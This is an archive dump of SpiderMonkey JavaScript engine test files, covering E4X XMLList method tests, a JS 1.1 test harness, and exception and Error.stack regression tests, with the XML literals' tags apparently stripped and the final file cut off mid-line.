XMLList(<>onetwo); correct = new XMLList(); correct += one; correct += two; TEST_XML(7, correct.toString(), x); // Load from single textnode x = XMLList("foobar"); TEST_XML(8, "foobar", x); x = XMLList(7); TEST_XML(9, "7", x); // Undefined and null should behave like "" x = XMLList(null); TEST_XML(10, "", x); x = XMLList(undefined); TEST_XML(11, "", x); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.22.js0000664000175000017500000000071012106270663020450 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.22 - XMLList valueOf()"); TEST(1, true, XMLList.prototype.hasOwnProperty("valueOf")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.21.js0000664000175000017500000000122312106270663020447 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.21 - XMLList toXMLString()"); TEST(1, true, XMLList.prototype.hasOwnProperty("toXMLString")); x = <>one; TEST(2, "one", x.toXMLString()); x = <>onetwo; TEST(3, "one\ntwo", x.toXMLString()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.9.js0000664000175000017500000000213112106270663020374 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.9 - XMLList descendants()"); TEST(1, true, XMLList.prototype.hasOwnProperty("descendants")); // From Martin Honnen var gods = Kibo Xibo ; var godList = gods.god; var expect; var actual; var node; var descendants = godList.descendants(); expect = 4; actual = descendants.length(); TEST(2, expect, actual) expect = 'nodeKind(): element, name(): name;\n' + 'nodeKind(): text, name(): null;\n' + 'nodeKind(): element, name(): name;\n' + 'nodeKind(): text, name(): null;\n'; actual = ''; for each (var xml in descendants) { actual += 'nodeKind(): ' + xml.nodeKind() + ', name(): ' + xml.name() + ';\n'; } TEST(4, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.14.js0000664000175000017500000000165412106270663020461 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.14 - XMLList length()"); TEST(1, true, XMLList.prototype.hasOwnProperty("length")); x = <>one; TEST(2, 1, x.length()); x = <>onetwo; TEST(2, 2, x.length()); emps = John Sue correct = Mr. John Sue TEST(3,2,emps..name.length()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.20.js0000664000175000017500000000117012106270663020447 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.20 - XMLList toString()"); TEST(1, true, XMLList.prototype.hasOwnProperty("toString")); x = <>one; TEST(2, "one", x.toString()); x = <>onetwo; TEST(3, "one\ntwo", x.toString()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.18.js0000664000175000017500000000073612106270663020465 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.18 - XMLList propertyIsEnumerable()"); TEST(1, true, XMLList.prototype.hasOwnProperty("propertyIsEnumerable")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/browser.js0000664000175000017500000000000012106270663021151 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.4.js0000664000175000017500000000245512106270663020400 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.4 - XMLList child()"); TEST(1, true, XMLList.prototype.hasOwnProperty("child")); // Test with XMLList of size 0 x = new XMLList() TEST(2, "xml", typeof(x.child("bravo"))); TEST_XML(3, "", x.child("bravo")); // Test with XMLList of size 1 x += onetwo; TEST(4, "xml", typeof(x.child("bravo"))); TEST_XML(5, "two", x.child("bravo")); x += three; TEST(6, "xml", typeof(x.child("bravo"))); correct = <>twothree; TEST(7, correct, x.child("bravo")); // Test no match, null and undefined TEST(8, "xml", typeof(x.child("foobar"))); TEST_XML(9, "", x.child("foobar")); try { x.child(null); SHOULD_THROW(10); } catch (ex) { TEST(10, "TypeError", ex.name); } // Test numeric inputs x = one two ; TEST(12, one, x.child(0)); TEST(13, two, x.child(1)); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.17.js0000664000175000017500000000074212106270663020461 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.17 - XMLList processingInstructions()"); TEST(1, true, XMLList.prototype.hasOwnProperty("processingInstructions")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.12.js0000664000175000017500000000317512106270663020457 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.12 - XMLList hasComplexContent()"); TEST(1, true, XMLList.prototype.hasOwnProperty("hasComplexContent")); // One element should be same as XML case x = <> one two three four five six seven ; ; TEST(2, true, x.hasComplexContent()); TEST(3, false, x.bravo.hasComplexContent()); TEST(4, true, x.charlie.hasComplexContent()); TEST(5, false, x.delta.hasComplexContent()); TEST(6, false, x.foxtrot.hasComplexContent()); TEST(7, false, x.golf.hasComplexContent()); TEST(8, false, x.hotel.hasComplexContent()); TEST(9, false, x.@attr1.hasComplexContent()); TEST(10, false, x.bravo.child(0).hasComplexContent()); TEST(11, true, x.india.hasComplexContent()); // More than one element is complex if one or more things in the list are elements. x = <> one two ; TEST(12, true, x.hasComplexContent()); x = one one ; TEST(13, true, x.*.hasComplexContent()); x = one ; TEST(14, false, x.@*.hasComplexContent()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.2.js0000664000175000017500000000256512106270663020236 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.2 - XMLList Constructor"); x = new XMLList(); TEST(1, "xml", typeof(x)); TEST(2, true, x instanceof XMLList); // Load from another XMLList // Make sure it is copied if it's an XMLList x = <> one two ; y = new XMLList(x); x += three; TEST(3, "one\ntwo", y.toString()); // Load from one XML type x = new XMLList(one); TEST_XML(4, "one", x); // Load from Anonymous x = new XMLList(<>onetwo); TEST(5, "one\ntwo", x.toString()); // Load from Anonymous as string x = new XMLList(<>onetwo); TEST(6, "one\ntwo", x.toString()); // Load from single textnode x = new XMLList("foobar"); TEST_XML(7, "foobar", x); x = XMLList(7); TEST_XML(8, 7, x); // Undefined and null should behave like "" x = new XMLList(null); TEST_XML(9, "", x); x = new XMLList(undefined); TEST_XML(10, "", x); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.11.js0000664000175000017500000000205512106270663020452 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.11 - XMLList hasOwnProperty()"); TEST(1, true, XMLList.prototype.hasOwnProperty("hasOwnProperty")); x = <> one two three four five ; // Returns true for elements/attributes TEST(2, true, x.hasOwnProperty("bravo")); TEST(3, true, x.hasOwnProperty("@attr1")); TEST(4, false, x.hasOwnProperty("foobar")); TEST(5, true, x.hasOwnProperty("echo")); // Test for XML Prototype Object - returns true for XML methods. TEST(5, true, XMLList.prototype.hasOwnProperty("toString")); TEST(6, false, XMLList.prototype.hasOwnProperty("foobar")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/regress-373072.js0000664000175000017500000000134312106270663021716 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 373072; var summary = 'XML.prototype.namespace() does not check for xml list'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); try { expect = "TypeError: can't call namespace method on an XML list with 0 elements"; XML.prototype.function::namespace.call(new XMLList()); } catch(ex) { actual = ex + ''; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.10.js0000664000175000017500000000071212106270663020447 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.10 - XMLList elements()"); TEST(1, true, XMLList.prototype.hasOwnProperty("elements")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.8.js0000664000175000017500000000244312106270663020401 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.8 - XMLList copy()"); TEST(1, true, XMLList.prototype.hasOwnProperty("copy")); emps = new XMLList(); emps += Jim25; emps += Joe20; correct = new XMLList(); correct += Jim25; correct += Joe20; TEST(2, emps, emps.copy()); TEST(3, correct, emps.copy()); // Make sure we're getting a copy, not a ref to orig. emps = new XMLList(); emps += Jim25; emps += Joe20; correct = new XMLList(); correct += Jim25; correct += Joe20; x = emps.copy(); emps += Sue32; TEST(4, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.19.js0000664000175000017500000000067612106270663020471 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.19 - XMLList text()"); TEST(1, true, XMLList.prototype.hasOwnProperty("text")); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.13.js0000664000175000017500000000315112106270663020452 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.13 - XMLList hasSimpleContent()"); TEST(1, true, XMLList.prototype.hasOwnProperty("hasSimpleContent")); // One element should be same as XML case x = <> one two three four five six seven ; ; TEST(2, false, x.hasSimpleContent()); TEST(3, true, x.bravo.hasSimpleContent()); TEST(4, false, x.charlie.hasSimpleContent()); TEST(5, true, x.delta.hasSimpleContent()); TEST(6, true, x.foxtrot.hasSimpleContent()); TEST(7, true, x.golf.hasSimpleContent()); TEST(8, true, x.hotel.hasSimpleContent()); TEST(9, true, x.@attr1.hasSimpleContent()); TEST(10, true, x.bravo.child(0).hasSimpleContent()); TEST(11, false, x.india.hasSimpleContent()); // More than one element is complex if one or more things in the list are elements. x = <> one two ; TEST(12, false, x.hasSimpleContent()); x = one one ; TEST(13, false, x.*.hasSimpleContent()); x = one ; TEST(14, true, x.@*.hasSimpleContent()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.7.js0000664000175000017500000000160412106270663020376 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.7 - XMLList contains()"); TEST(1, true, XMLList.prototype.hasOwnProperty("contains")); emps = Jim25 Joe20 ; TEST(2, true, emps.employee.contains(Jim25)); TEST(3, true, emps.employee.contains(Joe20)); TEST(4, false, emps.employee.contains(Joe20)); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.16.js0000664000175000017500000000174512106270663020464 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.16 - XMLList parent()"); TEST(1, true, XMLList.prototype.hasOwnProperty("parent")); // Empty should return undefined x = new XMLList(); TEST(2, undefined, x.parent()); // If all XMLList items have same parent, then return that parent. x = one two threefour ; y = new XMLList(); y += x.bravo; y += x.charlie; TEST(3, x, y.parent()); // If items have different parents then return undefined y = new XMLList(); y += x.bravo; y += x.bravo.charlie; TEST(4, undefined, y.parent()); y = x..charlie; TEST(5, undefined, y.parent()); END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.2.js0000664000175000017500000000255212106270663020374 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.2 - XMLList attribute()"); TEST(1, true, XMLList.prototype.hasOwnProperty("attribute")); // Test with list of size 0 emps = new XMLList(); TEST(2, "xml", typeof(emps.attribute("id"))); TEST_XML(3, "", emps.attribute("id")); // Test with list of size 1 emps += Jim25; TEST(4, "xml", typeof(emps.attribute("id"))); TEST_XML(5, 0, emps.attribute("id")); // Test with list of size > 1 emps += Joe20; TEST(6, "xml", typeof(emps.attribute("id"))); correct = new XMLList(); correct += new XML("0"); correct += new XML("1"); TEST(7, correct, emps.attribute("id")); // Test one that doesn't exist - should return empty XMLList TEST(8, "xml", typeof(emps.attribute("foobar"))); // Test args of null and undefined try { emps.attribute(null); SHOULD_THROW(9); } catch (ex) { TEST(9, "TypeError", ex.name); } try { emps.attribute(undefined); SHOULD_THROW(10); } catch (ex) { TEST(10, "TypeError", ex.name); } END(); mozjs17.0.0/js/src/tests/e4x/XMLList/13.5.4.5.js0000664000175000017500000000310012106270663020365 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.5.4.5 - XMLList children()"); TEST(1, true, XMLList.prototype.hasOwnProperty("children")); // Test with XMLList of size 0 x = new XMLList() TEST(2, "xml", typeof(x.children())); TEST_XML(3, "", x.children()); // Test with XMLList of size 1 x += onetwo; TEST(4, "xml", typeof(x.children())); correct = <>onetwo; TEST(5, correct, x.children()); // Test with XMLList of size > 1 x += three; TEST(6, "xml", typeof(x.children())); correct = <>onetwothree; TEST(7, correct, x.children()); // Test no children x = new XMLList(); x += ; x += ; TEST(8, "xml", typeof(x.children())); TEST_XML(9, "", x.children()); //get all grandchildren of the order that have the name price order = John Smith Big Screen Television 1299.99 DVD Player 399.99 ; correct= 1299.99 + 399.99; TEST(10, correct, order.children().price); END(); mozjs17.0.0/js/src/tests/js1_1/0000775000175000017500000000000012106270663016063 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_1/regress/0000775000175000017500000000000012106270663017535 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_1/regress/perfect.js0000664000175000017500000000254412106270663021530 0ustar sstanglsstangl/* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ // Some simple testing of new, eval and some string stuff. // constructor -- expression array initialization function ExprArray(n,v) { // Initializes n values to v coerced to a string. for (var i = 0; i < n; i++) { this[i] = "" + v; } } // Print the perfect numbers up to n and the sum expression for n's divisors. function perfect(n) { print("The perfect numbers up to " + n + " are:"); var results = []; // We build sumOfDivisors[i] to hold a string expression for // the sum of the divisors of i, excluding i itself. var sumOfDivisors = new ExprArray(n+1,1); for (var divisor = 2; divisor <= n; divisor++) { for (var j = divisor + divisor; j <= n; j += divisor) { sumOfDivisors[j] += " + " + divisor; } // At this point everything up to 'divisor' has its sumOfDivisors // expression calculated, so we can determine whether it's perfect // already by evaluating. if (eval(sumOfDivisors[divisor]) == divisor) { print("" + divisor + " = " + sumOfDivisors[divisor]); results.push(divisor); } } print("That's all."); return results; } print("\nA number is 'perfect' if it is equal to the sum of its") print("divisors (excluding itself).\n"); reportCompare(perfect(500).join(), "6,28,496"); mozjs17.0.0/js/src/tests/js1_1/regress/shell.js0000664000175000017500000000000012106270663021170 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_1/regress/function-001.js0000664000175000017500000000233412106270663022220 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: boolean-001.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99232 * * eval("function f(){}function g(){}") at top level is an error for JS1.2 and above (missing ; between named function expressions), but declares f and g as functions below 1.2. * * Fails to produce error regardless of version: * js> version(100) 120 js> eval("function f(){}function g(){}") js> version(120); 100 js> eval("function f(){}function g(){}") js> * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "function-001.js"; var VERSION = "JS1_1"; var TITLE = "functions not separated by semicolons are not errors in version 110 "; var BUGNUMBER="99232"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); result = "passed"; new TestCase( SECTION, "eval(\"function f(){}function g(){}\")", void 0, eval("function f(){}function g(){}") ); test(); mozjs17.0.0/js/src/tests/js1_1/regress/browser.js0000664000175000017500000000000012106270663021544 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_1/README0000664000175000017500000000001712106270663016741 0ustar sstanglsstanglJavaScript 1.1 mozjs17.0.0/js/src/tests/js1_1/shell.js0000664000175000017500000000000012106270663017516 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_1/browser.js0000664000175000017500000000000012106270663020072 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_1/jsref.js0000664000175000017500000001073512106270663017540 0ustar sstanglsstanglvar completed = false; var testcases; var BUGNUMBER=""; var EXCLUDE = ""; var TT = ""; var TT_ = ""; var BR = ""; var NBSP = " "; var CR = "\n"; var FONT = ""; var FONT_ = ""; var FONT_RED = ""; var FONT_GREEN = ""; var B = ""; var B_ = "" var H2 = ""; var H2_ = ""; var HR = ""; var PASSED = " PASSED!" var FAILED = " FAILED! expected: "; version( 110 ); function test() { for ( tc=0; tc < testcases.length; tc++ ) { testcases[tc].passed = writeTestCaseResult( testcases[tc].expect, testcases[tc].actual, testcases[tc].description +" = "+ testcases[tc].actual ); testcases[tc].reason += ( testcases[tc].passed ) ? "" : "wrong value "; } stopTest(); return ( testcases ); } function TestCase( n, d, e, a ) { this.name = n; this.description = d; this.expect = e; this.actual = a; this.passed = true; this.reason = ""; this.bugnumber = BUGNUMBER; this.passed = getTestCaseResult( this.expect, this.actual ); } function startTest() { /* // JavaScript 1.3 is supposed to be compliant ecma version 1.0 if ( VERSION == "ECMA_1" ) { version ( "130" ); } if ( VERSION == "JS_1.3" ) { version ( "130" ); } if ( VERSION == "JS_1.2" ) { version ( "120" ); } if ( VERSION == "JS_1.1" ) { version ( "110" ); } // for ecma version 2.0, we will leave the javascript version to // the default ( for now ). */ } function getTestCaseResult( expect, actual ) { // because ( NaN == NaN ) always returns false, need to do // a special compare to see if we got the right result. if ( actual != actual ) { if ( typeof actual == "object" ) { actual = "NaN object"; } else { actual = "NaN number"; } } if ( expect != expect ) { if ( typeof expect == "object" ) { expect = "NaN object"; } else { expect = "NaN number"; } } var passed = ( expect == actual ) ? true : false; // if both objects are numbers, give a little leeway for rounding. if ( !passed && typeof(actual) == "number" && typeof(expect) == "number" ) { if ( Math.abs(actual-expect) < 0.0000001 ) { passed = true; } } // verify type is the same if ( typeof(expect) != typeof(actual) ) { passed = false; } return passed; } function writeTestCaseResult( expect, actual, string ) { var passed = getTestCaseResult( expect, actual ); writeFormattedResult( expect, actual, string, passed ); return passed; } function writeFormattedResult( expect, actual, string, passed ) { var s = TT + string ; for ( k = 0; k < (60 - string.length >= 0 ? 60 - string.length : 5) ; k++ ) { // s += NBSP; } s += B ; s += ( passed ) ? FONT_GREEN + NBSP + PASSED : FONT_RED + NBSP + FAILED + expect + TT_ ; print( s + FONT_ + B_ + TT_ ); return passed; } function writeHeaderToLog( string ) { print( H2 + string + H2_ ); } function stopTest() { var sizeTag = "<#TEST CASES SIZE>"; var doneTag = "<#TEST CASES DONE>"; var beginTag = "<#TEST CASE "; var endTag = ">"; print(sizeTag); print(testcases.length); for (tc = 0; tc < testcases.length; tc++) { print(beginTag + 'PASSED' + endTag); print(testcases[tc].passed); print(beginTag + 'NAME' + endTag); print(testcases[tc].name); print(beginTag + 'EXPECTED' + endTag); print(testcases[tc].expect); print(beginTag + 'ACTUAL' + endTag); print(testcases[tc].actual); print(beginTag + 'DESCRIPTION' + endTag); print(testcases[tc].description); print(beginTag + 'REASON' + endTag); print(( testcases[tc].passed ) ? "" : "wrong value "); print(beginTag + 'BUGNUMBER' + endTag); print( BUGNUMBER ); } print(doneTag); gc(); } function getFailedCases() { for ( var i = 0; i < testcases.length; i++ ) { if ( ! testcases[i].passed ) { print( testcases[i].description +" = " +testcases[i].actual +" expected: "+ testcases[i].expect ); } } } mozjs17.0.0/js/src/tests/js1_5/0000775000175000017500000000000012106270663016067 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Exceptions/0000775000175000017500000000000012106270663020210 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Exceptions/regress-232182.js0000664000175000017500000000516112106270663022762 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 232182; var summary = 'Display non-ascii characters in JS exceptions'; var actual = ''; var expect = 'no error'; printBugNumber(BUGNUMBER); printStatus (summary); /* * This test accesses an undefined Unicode symbol. If the code has not been * compiled with JS_C_STRINGS_ARE_UTF8, the thrown error truncates Unicode * characters to bytes. Accessing \u0440\u0441, therefore, results in a * message talking about an undefined variable 'AB' (\x41\x42). */ var utf8Enabled = false; try { \u0441\u0442; } catch (e) { utf8Enabled = (e.message.charAt (0) == '\u0441'); } // Run the tests only if UTF-8 is enabled printStatus('UTF-8 is ' + (utf8Enabled?'':'not ') + 'enabled'); if (!utf8Enabled) { reportCompare('Not run', 'Not run', 'utf8 is not enabled'); } else { status = summary + ': Throw Error with Unicode message'; expect = 'test \u0440\u0441'; try { throw Error (expect); } catch (e) { actual = e.message; } reportCompare(expect, actual, status); var inShell = (typeof stringsAreUTF8 == "function"); if (!inShell) { inShell = (typeof stringsAreUtf8 == "function"); if (inShell) { this.stringsAreUTF8 = stringsAreUtf8; this.testUTF8 = testUtf8; } } if (inShell && stringsAreUTF8()) { status = summary + ': UTF-8 test: bad UTF-08 sequence'; expect = 'Error'; actual = 'No error!'; try { testUTF8(1); } catch (e) { actual = 'Error'; } reportCompare(expect, actual, status); status = summary + ': UTF-8 character too big to fit into Unicode surrogate pairs'; expect = 'Error'; actual = 'No error!'; try { testUTF8(2); } catch (e) { actual = 'Error'; } reportCompare(expect, actual, status); status = summary + ': bad Unicode surrogate character'; expect = 'Error'; actual = 'No error!'; try { testUTF8(3); } catch (e) { actual = 'Error'; } reportCompare(expect, actual, status); } if (inShell) { status = summary + ': conversion target buffer overrun'; expect = 'Error'; actual = 'No error!'; try { testUTF8(4); } catch (e) { actual = 'Error'; } reportCompare(expect, actual, status); } } mozjs17.0.0/js/src/tests/js1_5/Exceptions/shell.js0000664000175000017500000000000012106270663021643 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Exceptions/errstack-001.js0000664000175000017500000001207312106270663022665 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * * Date: 28 Feb 2002 * SUMMARY: Testing that Error.stack distinguishes between: * * A) top-level calls: myFunc(); * B) no-name function calls: function() { myFunc();} () * * The stack frame for A) should begin with '@' * The stack frame for B) should begin with '()' * * This behavior was coded by Brendan during his fix for bug 127136. * See http://bugzilla.mozilla.org/show_bug.cgi?id=127136#c13 * * Note: our function getStackFrames(err) orders the array of stack frames * so that the 0th element will correspond to the highest frame, i.e. will * correspond to a line in top-level code. The 1st element will correspond * to the function that is called first, and so on... * * NOTE: At present Rhino does not have an Error.stack property. It is an * ECMA extension, see http://bugzilla.mozilla.org/show_bug.cgi?id=123177 */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = '(none)'; var summary = 'Testing Error.stack'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; var myErr = ''; var stackFrames = ''; function A(x,y) { return B(x+1,y+1); } function B(x,z) { return C(x+1,z+1); } function C(x,y) { return D(x+1,y+1); } function D(x,z) { try { throw new Error('meep!'); } catch (e) { return e; } } myErr = A(44,13); stackFrames = getStackFrames(myErr); status = inSection(1); actual = stackFrames[0].substring(0,1); expect = '@'; addThis(); status = inSection(2); actual = stackFrames[1].substring(0,2); expect = 'A@'; addThis(); status = inSection(3); actual = stackFrames[2].substring(0,2); expect = 'B@'; addThis(); status = inSection(4); actual = stackFrames[3].substring(0,2); expect = 'C@'; addThis(); status = inSection(5); actual = stackFrames[4].substring(0,2); expect = 'D@'; addThis(); myErr = A('44:foo','13:bar'); stackFrames = getStackFrames(myErr); status = inSection(6); actual = stackFrames[0].substring(0,1); expect = '@'; addThis(); status = inSection(7); actual = stackFrames[1].substring(0,2); expect = 'A@'; addThis(); status = inSection(8); actual = stackFrames[2].substring(0,2); expect = 'B@'; addThis(); status = inSection(9); actual = stackFrames[3].substring(0,2); expect = 'C@'; addThis(); status = inSection(10); actual = stackFrames[4].substring(0,2); expect = 'D@';; addThis(); /* * Make the first frame occur in a function with an empty name - */ myErr = function() { return A(44,13); } (); stackFrames = getStackFrames(myErr); status = inSection(11); actual = stackFrames[0].substring(0,1); expect = '@'; addThis(); status = inSection(12); actual = stackFrames[1].substring(0,7); expect = 'myErr<@'; addThis(); status = inSection(13); actual = stackFrames[2].substring(0,2); expect = 'A@'; addThis(); // etc. for the rest of the frames as above /* * Make the first frame occur in a function with name 'anonymous' - */ var f = Function('return A(44,13);'); myErr = f(); stackFrames = getStackFrames(myErr); status = inSection(14); actual = stackFrames[0].substring(0,1); expect = '@'; addThis(); status = inSection(15); actual = stackFrames[1].substring(0,10); expect = 'anonymous@'; addThis(); status = inSection(16); actual = stackFrames[2].substring(0,2); expect = 'A@'; addThis(); // etc. for the rest of the frames as above /* * Make a user-defined error via the Error() function - */ var message = 